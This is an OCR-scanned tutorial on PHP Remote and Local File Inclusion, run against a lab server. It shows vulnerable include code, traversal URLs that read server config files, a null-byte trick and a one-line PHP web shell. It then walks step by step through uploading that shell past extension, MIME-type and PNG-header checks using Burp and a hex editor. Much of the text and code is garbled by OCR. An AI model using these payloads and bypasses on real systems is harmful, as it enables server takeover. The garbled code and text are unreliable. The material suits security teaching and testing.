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Remote File Inclusion (RFI)

Common attack vectors against webservers with PHP support are the Local File Inclusion (LFI), and
the Remote File Inclusion (RFI). Other webserver can also be vulnerable to this type of attack but it is
most common in case of PHP.

The applications many times use some kind of frame with common elements on every page, just like
header menu line or footer with company informations that we want to show on every page. In this case
the application used to be someting like this:

there is a frame (many times called as main frame, or something like that), what has a code snipplet
something like:

create the common elements on the header

Spagetoshow = $ GET['page'];
include ($pagetoshow) ;

create the common elements on the footer
in this case the URL used to look like as follows:
http://my.web.page/frame.php?page=order

it causes every instruction in the order.php "copied" to the frame.php.



In this case we can try the following to attack the website:
http://target.page/frame.php?page=http://attacker.page/backdoor.php
With newer PHP verisons it does not work, because newer versions do not allow the inclusion of

remote files. To enable it one should change the allow_url include parameter to the value "On" in the
php.ini config file. Without that setting we get the following error message:

f,"; http:/ /192.168.168.250/ rfif rfi.php?command =http:/ /192.168.168.101 fa.php - Windows Internet Explorer

@‘—-\ - |g http: /192, 168. 168, 250/rfi/rfi.php?command =http; /{192, 168, 168, 101/a.php j 40| X I_'.'E Search 2
U¢ @i @ http://192. 168. 168.250frf i phpZcommand =http: ... | | o

(2
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Warning: include(): http:// wrapper is disabled in the server configuration by allow url include=0 in C:\xampp'htdocs\rfi\rfi.php on line 3

Warning: include(htip:/192 168 168.101/a php): failed to open stream: no snitable wrapper could be found in C:'\xampp‘htdocs\rii\rfi.php on
line 3

Warning: include(): Failed opening 'http://192.168 168 101/a php' for inclusion (include_path="_xampp'php' PEAR") in
C:\xampp\htdocs'rii\rfi.php on line 3

After setting the required parameter (and restarting the xampp server and browser of course):

allow url include = On

it starts to work:

@‘-‘ - Iﬁ. http:/f192. 168. 168, 250/rfi/r fi. phpPcommand =http: /{192, 168, 163, 101/a.php j

U4 @ (@ http://192. 168.168. 250/rfifrfi.php2command=http: ...

Hello, World!

Now the situation was very simple because in this example we were able to define the extension of the
file. Most of the cases it can not be done because the extension is added by the application itself. In that
case the source code looks like as follows:

create the common elements on the header

Spagetoshow = $ GET['page'l];
include ($pagetoshow . '.php');

create the common elements on the footer

In this case there is not much change, we just should not enter the .php to the end of the URI:

http://target.page/frame.php?page=http://attacker.page/backdoor



ﬂ'-‘ http://192.168.168.250/ rfi2 / rfi.php?command=http:/ /192.168.168.101 {a - Windows Internet Explorer

@‘-ﬁ - |g http: {192, 168, 168, 250/rfi2/rfi. php?command =http: /192, 168, 168, 101/a j
U9 @R @ http://192.168. 168, 250/rfi2jrfl php?command=http: ... | |

Hello, World!

To defend against this kind of attack leave the allow url include parameter on the default value "Off".
Of course, somtimes it cannot be done if an application should include something from another
website. In that case try to redesign the application to avoid that kind of situation.

Local File Inclusion (LFI)

If we change it on that way the vulnerability is still there just the Remote File Inclusion (RFI) is
transformed to a Local File Inclusion instead. For first sight it may not look like dangerous because if
we are not able to upload our code then we would not able to gain a shell. It is not so simple because
we are able to load files on the server by the help of this method. That can leads us to gain a shell.

This attack can be mitigated by the following way. In the php.ini file there is an include_path
parameter and if we try to include a file we will get the following error message.

,f_"; http:/ /192.168.168.250/ rfif rfi.php?command=_. /.. f php.ini - Windows Internet Explorer

@T\ h |g http://192. 168. 168, 250/rfi/rfi.php?command =.. /.. fphp.ini j *g0| X I_'.'e Search 2
U0 @i @ http://192. 168, 168,250/ rf.phpZcommand=.. .. /p... | | 3 - E) - o= - |- Page - {0 Tods + 7

Warning: include(_ /. /php ini): failed to open stream: No such file or directory in C:\xampp\htdocs\rfi\rfi.php on line 3

Warning: include(): Failed opening '../_/php_ini' for inclusion (include _path="'xampp'php' PEAR") in C:\xampp'\htdocs\rii\rfi.php on line 3

If we are lucky and it's set too wide we might be able to read some interesting files, like config files,
.htpasswd, or .htaccess...:

http://target.page/frame.php?page=../../apache/conf/httpd.conf

,fj http://192.168.168.250/ rfif rfi.php?command=../..fapache/conf/httpd.conf - Windows Internet Explorer

@t—\ - |g http://192. 168. 168. 250/rfi/rfi.php?command =.. /.. fapache fconf/hittpd. conf j 2| X I_'.'e Search 2 |-

©F A7 @ http://192.168. 168.250/rfrfi.php?command=.. .. fa. .

| By - B - @ - -} Page + @ Took =

# # This is the main Apache HTTP server configuration file. It contains the # configuration directives that give the server its instructions. # See for
detailed information # In particular, see # # for a discussion of each configuration directive. # # Do NOT simply read the instructions in here
without understanding # what they do. They're here only as hints or reminders. If you are unsure # consult the online docs. You have been warned.
# # Configuration and logfile names: If the filenames you specify for many # of the server's control files begin with "/" (or "drive:" for Win32), the #
server will use that explicit path. If the filenames do *not*® begin # with "/, the value of ServerRoot is prepended -- so "logs/access_log" # with
ServerRoot set to "usr/local/apache" will be interpreted by the # server as "/usr/local/apache2/logs/access log", whereas "logs/access log" #
will be interpreted as 'logs/access log'. # # NOTE: Where filenames are specified. vou must use forward slashes # instead of backslashes (e.z..




on linux systems we can read for example the /etc/password or similar config files.

Null byte

The problem is bigger if the application adds the extension like .php to the file. In this case since PHP
version 5.3.4 the null byte could not be used, to "clear it". With earlier PHP versions one could use the
following attack:

http://target.page/frame.php?page=../../apache/conf/httpd.conf%00

because of the null byte at the end when the application adds the .php extension it will be after the null
byte. And the include and other functions were used are uses C style strings, so they stops at the null
byte. It means, the string were treated only until the null byte, and the remaing part (the .php extension)
were neglected.

Upload and LFI

If we have an upload possibility for example to upload an avatar, pictures, whatever, then we can try to
upload there a php code, and include that file. There can be many situation depending on how strinct
the webpage test if we really upload an accepted file format. The simpliest way is when no check at all,
we will start with that one, then stronger checks will come

no file type check

Firs we should add a file upload possibility to our webpage, it can be done many ways. May be the
simpliest one, is to create two files, one is an upload.html, where we can choose the file to upload on a
form, and it posts the file to an upload.php, which saves it, and later checks the file. The code of these
two files can be the following.

Upload.html take care, we should set the mime type to multipart/form-data:

<form enctype="multipart/form-data" action="upload.php"
method="POST">

<input type="hidden" name="MAX FILE SIYE" value="1000000"/>
choose a file to upload: <input name="uploadedfile" type="file"/>
<br><br>

<input type="submit" value="Upload"/>

</form>

upload.php the php uploads the file to a temporary directory, and we can move the file to the target
destination. The data about the uploaded files are populated to the $§ FILES structure:

<?php
$filename = basename ($ FILES['uploadedfile']['name']);



Stargetpath = "uploads/" . $filename;

if (move uploaded file($ FILES['uploadedfile']['tmp name'],
Stargetpath))

{

echo "The file " . $filename . " has been uploaded<br>";

}

else

{

echo "There was an error during upload";

}
echo '<a href="rfi.html">next</a>"';
>

now by the help of these two files we have an upload possibility, we must create a backdoor, what we
can upload. May be the simpliest php backdoor is the followsing:

backdoor.php:
<?php system($ GET["cmd"]) ?>

As we can see it simply reads the cmd parameter passed in query string, and executes it. Of course it
can be more sophisticated like base64 encoded string accepted as command, to avoid bad characters.

After created this backdoor.php we can simply upload it:

f_:; http://192.168.168.101:8888 /upload1 fupload.html - Windows Internet Exp

@‘\:—; + | €] http://192. 168. 168. 101:8888/upload 1 /upload. htmi =
UF 4 @ hitp:/192. 168,168, 10 1:8838/upload 1/upload html | |

Example, to upload file, without any extension check

choose afile to uplga¢|C:Hbackdnnr.php Browse... |

Upload

hopefully the file will be upload successfully:

f_:; http://192.168.168.101:8888 fuploadl fupload.php - Windows Interne
@2* - |g, http:/f192. 168, 163, 101: 8888 /upload 1jupload. php
U¢ @ (@ http:/{192. 168. 168. 101:8888/upload 1/upload.php | |

The file backdoor php has been uploaded

next



Then we can use the LFI vulnerability

f_'.; http://192.168.168.101:888E [uploadl rfi php?command=listusers.php -

| o A |g http:/f192. 168. 168. 101:8333/upload 1,/rfi. php?command =listusers. php

U4 @R (@ http://192. 168, 168. 101:8888/upload 1/rfi.php?comm. .

This should hist users, but have not done vet

change the command parameter to include the uploaded backdoor.php, and of course add the cmd=
parameter, to run some operating system command:

http://192.168.168.101:8888/uploadl/rfi.php?
command=uploads/backdoor.php&cmd=dir

/~ http:/ [192.168.168.101:8888 fupload1/rfiphp?command=uploads/ba 5] x|
P

L&A 35 I& .168.168.101:8888,’uploadlfrﬁ.php?command=uploads;’bad¢donr.php&u‘nd=dir|j +9 | X ILi'.'e Search 2~
'ﬂ? "1'% @http:ﬂlgz.168.168.1[]1:8888,.’up|oad1,.’rﬁ.|:|h|:|?comm... | | ﬁ - - LEA - r_;}’Page - @ Tools = i

FY

Volume in drive C has no label. Volume Serial Number is 188C-1DCF Directory of C:\xampp'htdocs'uploadl 01/04/2014
12:00 PM

.01/04/2014 12:00 PM

.. 06/23/2011 01:02 PM 73 adduser.php 06/23/2011 01:03 PM 69 listusers php 01/04/2014 11:16 AM 285
fi.html 06/26/2011 02:03 PM 88 fi php 01/04/2014 11:20 AM 322 upload html 01/04/2014 12:14 PM 336
upload.php 01/05/2014 0325 AM

uploads & File(s) 1,173 bytes 3 Dir(s) 20,286,955 520 bytes free

As we can see our shellcode executes fine.

check the file extension

Modify our upload.php, to check the file extension:

<?php
Sallowed = array('gif', 'png', 'jpg');
$filename = basename (S _FILES['uploadedfile']['name']);
sext = pathinfo($filename, PATHINFO EXTENSION) ;
Stargetpath = "uploads/" . $filename;
if(!in array(Sext, Sallowed))
{
die('Not allowed extension!');

}

if (move uploaded file($ FILES['uploadedfile']['tmp name'],



Stargetpath))
{

echo "The file " . $filename . " has been uploaded<br>";

}

else

{

echo "There was an error during upload";

}
echo '<a href="rfi.html">next</a>"';
>

As we can see we put the extension to the $ext variable. Then check if it is in the allowed list of the
extensions.

The solution in this case is very simple, we just change the file extension to an accepted one, because
the include does not take any care of the extension.

ren backdoor.php backdoor.png

then upload it:

,ff http:/f192.168.168.101:8888 fupload 2 fupload.html - Windows Internet Explore

'@—C—: < |g, http://192. 163, 168. 101:88583/upload 2/upload. himl j |E| |E| ||_i-._.-e Search

U0 4R @ http://192. 168, 168. 101:8888 upload2/upload.htmi | | g~ B - o= v h

Example, to upload file, Check the extension to be _gif, _jpg or png BUT no fileheader, or mime tvpe check

choose a file to upload: |C:\backdoorpng Browse.. |
Upload
hopefully it will upload:

li’_:"' http://192.168.168.101:8888 /upload2 fupload.php - Windows Inte

@: v | & http://192. 168. 168. 10 1:8888/upload2/upload.php
L8 4R @ http://192. 168, 168, 101:3888/upload2/upload.php

The file backdoor png has been uploaded

next

Then use the local file inclusion, to call it:



http://192.168.168.101:8888/upload2/rfi.php?
command=uploads/backdoor.png&cmd=dir

/= http://192.168.168.101:8888/upload2/ rfi.php?command=uploz =l

@A - |g, .168.168.1D1:BBBBIUpIDadzJ"rﬁ.php?command=uploads,|'badcdoor.png&ﬂ'nd=dirj 3| X I_'.'E Search

U6 4 @ hitp://192. 168, 168. 101:3888/upload2/rfi php?comm. . | | - B - = o~ :bpage - () Tool

Vohlime in drive C has no label Volume Serial Number is 188C-1DCF Directory of C-xampp'htdocsupload2 01/04/2014
12:15 PM

.01/04/2014 12:15 PM
.. 06/23/2011 01:02 PM 73 adduser php 06/23/2011 01:03 PM 69 listusers.php 01/04/2014 11:16 AM 285
fi.html 06/26/2011 02:03 PM 88 i php 01/04/2014 12:25 PM 381 upload html 01/04/2014 12:24 PM 495
upload php 01/05/2014 04:02 AM
uploads 6 File(s) 1.391 bytes 3 Dir(s) 20,286,853.120 bytes free

As we can see our shellcode executes fine. Remember, if the code adds the extension, then try the null
byte, to cancel it out, it will work until PHP 5.3.4:

http://192.168.168.101:8888/upload2/rfi.php?

command=uploads/backdoor.png%00&cmd=dir

check the extension and mime type

As we can see the extension check can be bypassed very easily, because of it many webpage prefer, to

check the mime type too. It is not good solution, because we can easily set the mime type too by the
help of a proxy.

Now modify the upload.php, and check, how we can bypass it:

<?php
$allowed = array('gif','png', 'jpg');
Sallowedmime =

array ('image/gif', '"image/png’', 'image/jpeqg', 'image/pipeqg’') ;
Sfilename = basename(s_FILES['uploadedfile']['name']);
$ext = pathinfo($filename, PATHINFO EXTENSION) ;
Stargetpath = "uploads/" . $filename;
if (!in array(Sext,Sallowed))
{

die ('Not allowed extension!');
}
if (!in array($ FILES['uploadedfile']['type'],Sallowedmime))
{

die('Not allowed mime type!');
}

if (move uploaded file($ FILES['uploadedfile']['tmp name'],



Stargetpath))
{

echo "The file " . $filename . " has been uploaded<br>";

}

else

{

echo "There was an error during upload";

}
echo '<a href="rfi.html">next</a>"';
>

Try to upload the previous renamed file:

/7 http:/ /192.168.168.101:8888/uplead3/uplead.html - Windows Internet Explorer

gi_; - Ig' http: /{192, 168, 168, 101: 8388 jupload3jupload. himl j |E| |£| ILi'-_.-e Search
U6 G (@ http://192.168. 163, 101:8888/upload3/upload html | | fp~ B - M= -5

Example, to upload file, Check the extension to be _gif, _jpg or png and mime type check, BUT no fileheader

choose 3 file to upload;lc:‘;backduar.png Browse... |

As we can see the upload was not successfull.

/7 hitp:/ [192.168.168.101:8888 /upload3 /upload.php - Windows Inte:

6@ * | http://192. 168. 168. 101:8885/upload3/upload.php
U0 @ @ hitp:/192. 168. 168, 10 1:3888/upload3/upload.php | |

Not allowed mime type!

So start your favourite proxy, and set up the browser, to use it (I will use burp proxy):



/7 http:/ /192.168.168.101:8888  session/myinternalphp - Windows
&; - Iﬁ, http:ff192. 165. 168, 101:5885/session/myinternal . php
File Edit View Favorites Help

Delete Browsing History. ..
90 G @ http:/192.168.1
'é te:i Diagnose Cannection Problems. ..

MyNote system: P""_FH_‘F’ Blocker g
Welcome - Phishing Filter 2
Manage Add-ons »

Subscribe o bhis Feed, .,
Y our notes: Feed Discovery b
blablabla this is the note g "indows Update

General I Semritvl Priuacyl Content Connections IProgramsI Advanced |

To set up an Internet connection, dick Setup |
Setup.

Dial-up and Virtual Private Metwork settings

add... |
addven... |
Remove. .. |
Choose Settings if you need to configure a proxy Sethings |
gerver for a connection.
% [ever dial & connection
) Diallwhenever anetwark conneckion is net present
£ Always dial my default conmection
Currenkt Mane Set default |

Local Area Netwaork (LAN) settings

LAM Settings do not apply to dial-up connections. LAM settings I
Choose Settings abowve for dial-up settings.

Ok Cancel Apply




Local Area Network (LAN) Settings x|

— Automatic configuration

Automatic configuration may override manual settings. To ensure the
use of manual settings, disable automatic configuration.

[T Automatically detect settings
[T Use automatic configuration script

address I

~Proxy server

v Lise a proxy server for your LAM (These settings will not apply to
dial-up or ¥YPMN connections),

Address: I:I_E?.U.U.l Paort: ISUBU Advanced |

[ Bypass proxy server for local addresses

0K I Cancel |

The try to upload the file again:

,ff http:/f192.168.168.101:8888 fupload3 fupload.html - Windows Internet Explo

\—y = | €] http://192.168. 168. 101:8888upload3/upload html

b

UF 4 (@ http://192.163. 163, 101:8388upload3/upload.htm | |

j +4 (| X ILi'-.-'E Search

M-8 - = -

choose a file to up]gad;lc:\,backduar.png Browse... |

Example, to upload file, Check the extension to be _gif, _jpg or png and mime tvpe check, BUT no fileheader

the proxy intecepts the upload, and one can immediately see the problem. Te mime-type of the
uploaded file is set to text/plain, what is not accepted.



1ol x|

Burp Intruder Repeater Window Help

Target | Prosxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Options T Alerts ]

J Intercept T Historny T Options ]

Request to hitp//192.168.168.101.8888

l Forward J l Drop J [ Intercept is on ] l Action J

[ [ Paroms | emsem [ v |

POST Jupload3/upload.php HTTP/L.1 L;
Aocept: image/gif, image/x-xbitwap, image/jpeg, iwmage/pipedqg, application/x-ms-application,
application/vnd.ms-xpsdocumsnt, application/xaml4xml, application/x-ms—-xbap, */*

Feferer: http://1l92.168.168.101:8888/upload3/upload. html

Aoecept-Languags: en-us

Content-Type: multipart/form-data; bhoundary=————————— Tcde8224Ze04k4
TA-CPU: =E&

Aocept—-Encoding: gzip, deflate

User—-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT £.0; SLCCl; .WNET CLRE Z.0.50727:
LWET CLE 3.0.30729; .NET CLE 3.5.30729; .NET4.0C; .NET4.0E)

Proxy-Connection: Eeep-Alive

Content-Length: 338

Host: 192.16E8.1&8.101:8888

Pragma: no-cache

————————————————————————————— T7de9224Z=04b4
Content-Disposition: form-data; nawms="MAX FILE SIYE"

Loooooo
————————————————————————————— Tde9224Z=040L4
Content-Disposition: form-data; name="uploadedfile™; filename="C:'bhackdoor.pog”

Content—TﬁPe: textHFlain
BEEE] 0 matches

Simply change the mime type to an accepted one for example to image/png:



1=

Burp Intruder Repeater Window Help

[ Target I Froxy T Spider I Scanner I Intruder I Repeater T Sequencer I Decoder I Comparer T Options I Alerts ]

J Intercept T History T Options ]

Request to http:/192.168.168.101:2888

[ Forward J l Crop J IF Intercept isun} [ Action J Comment thiz ifem == ?
JR.EIWTF'&I’EI‘I’E TH—BEIHEI’S IHEX]

POST Jupload3/upload.php HTTE/L.1 Li
Aocept: image/gif, image/x-xbitmap, image/Jpeg, image/pipeg, application/z-ms-application,
application/vnd.ms-xpsdocument, application/xaml+xml, application/x-ms-xhap, */*

Referer: http://192.168.162.10L1:8888/ upload3/upload. html

Locept-Lancuags: en-us

Content-Type: multipart/form-data; boundary=-----————-—-—-—-———————————~———— TcdegZZl4Ze04b4

TA-CPU: =BE

Aocept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT £.0; SLCCLl; .MET CLE 2.0.50727;

.NET CLER 3.0.30725; .NET CLE 3.5.30725; .NET4.0C; .NET4.0E)

Proxy-Connection: Keep-Alive

Content-Length: 338

Host: 192.16E.168.101:8888

Pragma: no-cache

————————————————————————————— TdeS9IZZ4Ze04b4

Content-Disposition: form-data; name="MAX FILE SIYE"

1000000

————————————————————————————— TdeS9IZZ4Ze04b4

Content-Disposition: form-data; name="uploadesdfile™; filename="C:"'backdoor.png”
Content-Type: imagefpn%

T

EJ B EJ T Type & sesrch fem 0 matches

hopefully our backdoor will be uploaded successfully:

[_:; http://192.168.168.101:8888 fupload3 fupload.php - Windows In
@Er - Iﬁ, http:ff192. 168. 168. 101:8835 fupload 3/upload. php
UF @R (@ htip://192. 168.168. 101:8888/uploads/upload. php |

The file backdoor png has been uploaded
next
we can call it on the usual way:

http://192.168.168.101:8888/upload3/rfi.php?
command=uploads/backdoor.png&cmd=dir



/- http://192.168.168.101:8888/upload3/rfi.php2command=uploa =le

@A - |g .168.168.1EI1:SBBBJ’upIDadﬂrﬁ.php?cammand=upluadsfbad<.duar.png&md=dirj 4| X I_'.'E Search e
U¥ ¢ (@ htip://192.168. 168. 101:8888/upload3/rfi php2comm.. | | fa - B - b - - Page - () Tooks

Volume in drive C has no label. Volume Serial Number is 188C-1DCF Directory of C-xampp'htdocs'upload3 01/04/2014
1234 PM

.01/04/2014 1234 PM
.. 06/23/2011 01:02 PM 73 adduser.php 06/23/2011 01:03 PM 60 listusers php 01/04/2014 11:16 AM 285
tfi html 06/26/2011 02:03 PM 88 1fi. php 01/04/2014 12:35 PM 382 upload html 01/04/2014 12:44 PM 673
upload php 01/05/2014 04:27 AM
uploads 6 File(s) 1,570 bytes 3 Dir(s) 20,286,816,256 bytes free

http://192.168.168.101:8888/upload3/rfi.php?
command=uploads/backdoor.png%00&cmd=dir

check the file extension, mime type, and header and/or footer

The next version of the upload.php checks the header and trailer of the file. In this case we can add an
acceptable header, and footer, or enter the php code to the exif of the file.

The upload.php modified as follows:

<?php
function ispngfile ($Spath)

if ($f = fopen(Spath, 'rb'))

Sheader = fread($Sf, 8);
fseek (Sf, -8, SEEK END) ;
Sfooter = fread(S$f, 8)
fclose (Sf);
return strncmp (Sheader, "\x89\x50\x4e\x47\x0d\x0a\xla\x0a", 8)==

&& strncmp ($Sfooter, "\x49\x45\xde\x44\xae\x42\x60\x82", 8)==0;
}

}

Sallowed = array('png');

Sallowedmime = array('image/png');

$filename = basename ($ FILES['uploadedfile']['name']);

Sext = pathinfo($filename, PATHINFO EXTENSION) ;

Stargetpath = "uploads/" . $filename;

if (!in array(Sext,Sallowed))

{
die('Not allowed extension!');

}

if (!in array($ FILES['uploadedfile']['type'],Sallowedmime))

{

4



die ('Not allowed mime type!');
if (!ispngfile (S FILES['uploadedfile']['tmp name']))
{ die('Not a png file!');
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'],
Stargetpath))
{

echo "The file " . S$filename . " has been uploaded<br>";

}

else

{

echo "There was an error during upload";

}

echo '<a href="rfi.html">next</a>"';
?>

as one can see, now only .png is accepted, it is simply because I was too lazy, to do it for every
extension.

Now if we use the previous method it will not work:

(_.‘- http:/f192.168.168.101:8888 fupload4 /upload.html - Windows Internet ]

@: ~ |&] http://192. 168. 168. 101:8888/upload4/upload. htmi =l 2 || X [ |uive search
TP G0 @ hittp:/192. 163. 168. 10 1:8865/upload4fupload. htmi | | fd - E) - o= - | Page ~ (i To

Example, to upload file, Check the extension to be png, the mime type to be image/png, and the png fileheader and footer
(sorry, I was too lazy, to do it for gif. and jpg too)

choose a file to upload_-lc:‘;backdoor.png Browse. . |

the proxy intercepts it:



-lolx]

Burp Intruder Repeater Window Help

Target | ooy T Spider T Scanner T Intruder T Repeater T Segquencer T Decoder T Comparer T Opticns T Alerts ]
J Iniercept T History T Options ]
Request to http:/182.168.168.101:8888
l Forward J l Drop J [ Intercept is on ] Action
JR&WTPa.rams THaadets THE::]

POST /upload4/upload.php HTTPE/L.1

m

Ill
| | ]
= |

.

Aocept: imags/gif, image/x-xbitwap, images/jpeg, imags/pipeyg, application/x-ms-application, L\

application/vnd.ms-xpsdocumsnt, application/xaml+xml, application/x-ms-xbap, */*

Beferer: http://192.162.168.101:2888/upload4/upload. html

Aocept-Lancuags: en-us

Content-Type: multipart/form-data; boundary=---—-———————————————————————— Tdel511dZe04kL4

TL-CPU: =EE

Aocept-Encoding: gzip, deflate

Uzer—-Agent: Mozillas4.0 (compatible; MSIE 7.0; Windows NT £.0; SLCCl; .NET CLRE Z.0.50727:

MET CLER 3.0.30729; .NET CLE 3.5.30729; .NET4.0C; .NET4.0E)

Proxy-Connection: Eeep-Alive

Content-Length: 341

Host: 192.16E8.168.101:8888

Fragma: no-cache

————————————————————————————— Tdel511d2=04hL4

Content-Disposition: form-data; nams="MAX FILE SIYE"

Loooooo

————————————————————————————— Tdel511d2=04hL4

Content-Disposition: form-data; name="uploadsdfile”; filename="C: hackdoor.png"

Content-Type: text/plain

] [w

change the mime type to image/png as earlier:



-l x

Burp Intruder Repeater Window Help

Target | oy T Spider T Scanner T Intruder I Repeater I Sequencer T Decoder I Comparer T Opticns T Alerts ]

J Interoept T History T Options ]

Request to http:/192. 168 1688.101:3888

l Forward J l Drop J r Intercept is on -] l Action J Comment thiz item == EJ
JRmTP&mrﬂs THBEdEIS THEX]

POST Juploadd4/upload.php HTTESL1.1 A
Aoccept: image/gif, image/x-xbitmap, iwmage/Jjpeg, imags/pipeg, application/x-ms-application,

application/vnd.ms-xpsdocumsnt, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://192.168.168.101:8888/uploadd/upload. html

Aocept-Languags: en-us

Content-Type: multipart/form-data; houndary=-——————————————————————————— Tdel511dZe04k4
TA-CPU: =EE

Aocept-Encoding: gzip, deflate

User—-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT £.0; SLCCl; .MNET CLE 2.0.50727:
MET CLE 3.0.30729; .NET CLE 3.5.30729; .NET4.0C; .NET4.0E)

Proxy-Connection: Eeep-Alive

Content-Length: 341

Host: 192.16E8.168.101:8888

Fragma: no-cache

————————————————————————————— Tdel511dZe04x4
Content-Disposition: forw-data; nams="MAX FILE STIYE"

Loooooo

————————————————————————————— Tdel511d2=04hL4

Content-Disposition: form-data; namse="uploadsdfile™; filenames="C: hackdoor.png"
Content-Type: imags/png

now the upload is not successful.

If_:‘ http://192.168.168.101:8888 fupload4 /upload.php - Windows Inte
6%:;;; - Iﬁ, http: /{192, 1638, 1658, 101:5883 /upload4/upload.php
U¢ @F (@ http:/{192. 168. 168. 10 1:8888/upload4/upload.php | |

Not a png file!

To make it work modify the backdoor.png, add a correct png header and footer to it.
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0ooooolo
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00000030
00000040
00000050
00000o&0
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00000050
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000000k0
000000c0
00oaaodao
000000e0
0000ao0Lo
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00000140
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Tn=ert hvte ar n

7 Undo  Cirl+Z, Alt+Backspace
/< Redo  Cirl+Y, Ctrl+5hift+Z

4 cut Ctrl+¥, Shift+Del

| & copy Ctrl+C, Ctrl+Ins
= Paste Ctrl+V, shift+Ins
“ Delete Del

|%h Copy As...

| ¥ Export..

# Mergeand Cut  Ctrl+Shift+X
5 Merge and Copy Ctrl+5hift+C

% Edit Cell F2
%3 Insert Mode Ins
" Go to Offset... Ctrl+G

- Go to... (in Process)

&% Change File Size... Ctrl+Alt+5

2, Find... Ctrl+F
£, Find Next F3
i3, Find Previous shift+F3
¥ Replace..  Ctrl+H, Ctrl+R
iy, Fil... Ctrl+5hift+F
{1 Tnsert File Cirl+5hiftH

Insert 8 byte to the beginning

k8 MTFS Streams  Tools History Window Help

FE¢MRA23 %

e

x>

02 09 0O& Ob

Oc 0d 0Oe Of

2]

73 74 &5 &d
ad 29 3L 3e

28 24 5L 47

I?php gyatem(s_G

ET["cmd"]) 2>




&

J File Edit WView Select Operations

Bookmarks WTFS Streams  Tools History  Window  Help

- HEH &

e

Then insert 8 bytes to the end:

il @badcduur.png x]

pilafafafulatalsl oo 01 02 03 04 O5 08 O7F 02 09 0Oz 0Ok Oc 04 Oe O

fufu [agufalafulal =S¢ 3£ 70 68 70 20 73 74 T3 74 &5 64 28 24 5L 47 I?php ayatem(s_G
00000010 45 54 5k 22 &3 B&d &4 22 54 29 3f 3e ET[Tcmd™] ) 2>
00000020 =

00000030 x|

00000040

00000050 L= IHEK j IEYTE j ﬂl

00000060 Pattern: Recent Patterns... | Cancel |

00000070 :I

00000080 _I;I Help

00000090 KN d

00o0000&0 Size (expressions supported):

ooooopd | [ =] [oytes =]

000000c0 o




00000024

EAEE S

02 09 0Oz Ob Oc 0d 0Oe O

aoooooog
00000010
00000024
00000030
00000040
00000050
00000060
00ooooTo
00ooooao
00ooooso
0000000
0000000
0000000
00000040
000000=0
000000£0
0ooooloo
00000110
goooolzo
00000130
00000140
00000150
00000160

3c 3f 70 68 70 20 T3 79 .erunn.. <3php sy
45 54 5b 22 &3 6d 64 22  astem($ GET["cmd"

Cirl+5hift+1



&

J File Edit Wiew Select Operations

Bookmarks NTFS Streams

Tools  History

Window Help

fErEm=11= =y

b

e

Then set those inserted bytes as follows:

the header 8 bytes should be:

\x89\x50\x4e\x47\x0d\x0a\xla\x0a

the footer 8 bytes should be:

\x49\x45\x4e\x44\xae\x42\x60\x82

+#0 Free Hex Editor Neo (Administrator)

J File Edit WView Select Operations Bookmarks NTFS Streams Tools History Window Help

ﬂ@badﬂdmr.pﬂg* K]
oooooo24 | 00 01 02 03 04 05 06 07 OB 09 Oa Ob Oc 0d Oe Of
00000000 | 00 00 00 00 00 00 00 00 3c 36 70 68 70 20 73 79 ceeenn.. <?php sy
00000010 | 73 74 65 64 28 24 S5f 47 45 54 Sb 22 63 6d 64 22  stem($ _GET["cmd"
00000024 | 54 29 3f 32 .. 1)1 23%
00000030
00000050
ooooooen | TvRe:  [Hex NI Insert |
00000070 Pattern: Recent Patterns... | p— |
00000080 -
00000090 . Help
0000000 4] | L|J
EEEEEEDE Size (expressions supported):

i
00000040 ls ] fbytes =

v

0000000

[FA-QEH&GA HE Qa2 2 %

e

Then save this file, and upload it

A Iilbadcduur.png* K]

00000023 00 01 02 03 04 05 06 O7F 08 0% 0Oz 0k Oc O4d Oe O

000aaaa0 29 50 4e 47 04 02 1la 0= 3c 3f 70 &8 7O 20 73 T9 %PNG. .. .<?php ay
00000010 T3 74 &5 6d 28 24 5 47 45 54 5b 22 63 &8d 64 22 atem(s_GET ["cmd™
00000023 54 25 3f 49 45 4e 44 as 42 a0 82 1) 2BIEND®E ",
00000030

00000040



{_’.‘- http://192.168.168.101:8888 [upload4 fupload.html - Windows Internet

@@ ~ |&] http://192. 168. 168, 101:8888/upload4fupload. himl = | #2 || X [ |uive search
U6 G @ http://192. 168, 168, 101:8838/uploads/upload. himl | | i~ B - ®m - |hPage - G Te

Example, to upload file, Check the extension to be png, the mime type to be image/png, and the png fileheader and footer
{sorry, I was too lazy, to do it for gif, and jpg too)

choose afile to upload;lc:Rbackdaur.png Browse. .. |

Again use the proxy, to intercept it, and check the parameters, as we can see the mime type is image/x-
png what were not be accepted by our upload.php. Why it happens, it is the problem of the browser, the
x- means experimental, what means during the encoding the browser may not follow the RFC standard,
may be too old, or some proprietrary encoding. Practically the RFC states that the x- mmime types

should be also accepted by applications, just again I did not enter it to the accepted mime type array,
easier, to modify here:

4) Burp Suite Free Edition v1.5

Burp Intruder Repeater Window Help

Target | Prosy T Spider I Scanner I Intruder I Repeater T Sequencer I Decoder I Comparer I Options I Alerts ]
_[ Intercapt T History T Options ]

Request to hitp://182.188.188.101:8888

l Forward J l Drop J [ Intercept is on ] Action Comment thiz it
_[R.EmTF‘a:ams THEE.-EIEIE THEX ]

POST fupload4/upload. php HTTP/ 1.1

Aocept: image/gif, image/x-xbitmap, image/Jjpeg, image/pipeg, application/x-mz-application,
application/vnd.ms-xpsdocument, application/=xaml4xml, application/x-ms-xbap, */*

Referer: http://192.168.168.101l:8888/ upload4/ upload. html

Accept-Language: en-us

Content-Type: multipart/form-data; houndary=——————————————————————————— Tde3iBl18Ze0414
UA-CPU: =B&

Aocept-Encoding: gzip, deflate

User—Agent: Mozilla/4.0 (compatible; M3IE 7.0; Windows NT £.0; SLCCLl; .MET CLE Z.0.50727;
MNET CLE 3.0.30729; .MNET CLE 3.5.30729; .NET4.0C; .INET4.0E)

Froxy-Connection: FKeep-Aliwve

Content-Length: 358

Host: L19Z.1eg8.LlEg58.101:8888

FPragma: no-cache

11]
3

————————————————————————————— Tde381182=04kL4
Content-Disposition: form-data; nawme="MAX FILE SIYE"

1000000
————————————————————————————— 7de3B81182=04b4

Content-Disposition: form-data; name="uploadedfile”; filenawe="C:"backdoor.png'"
Content-Type: image/x-png

